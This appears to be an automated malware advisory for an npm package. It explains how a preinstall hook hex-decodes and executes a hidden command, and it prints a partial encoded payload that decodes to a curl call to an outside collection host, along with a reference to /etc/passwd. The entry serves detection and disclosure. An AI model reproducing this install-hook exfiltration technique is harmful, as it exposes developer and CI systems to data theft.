GCVE-110-OSM-2026-10527

This looks like an install-time loader designed for attacker-controlled command execution and data theft from the victim machine. The package's `preinstall.js` runs on install, reads `preinstall.json`, hex-decodes a command, and passes it to `child_process.exec`; the decoded payload contains a `curl https://eousft8gflamm91.m.pipedream.net` request and a `/etc/passwd` path, which is consistent with exfiltration of local system data. The attacker model is a supply-chain compromise or malicious publisher abusing an npm preinstall hook to run hidden commands on developer or CI systems. The brand-new npm account, zero-day package age, rapid version spam, and OSV MAL advisory further corroborate malicious intent rather than a benign build helper. ENTRY preinstall.js (install-hook: node preinstall.js) - Install Hook Executes Local JS File in package.json OBFUSCATION - Decoded Hex String Content in preinstall.json - Base64 Encoded Payload in preinstall.json: ""6375726c2068747470733a2f2f656f757366743867666c616d6d39312e6d2e70697065647265616..." - recovered 1 urls, 1 domains, 1 paths from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in preinstall.js: "require('child_process')" - Brand New Package - Very New NPM Publisher Account - Rapid Version Publishing PAYLOAD FILES preinstall.json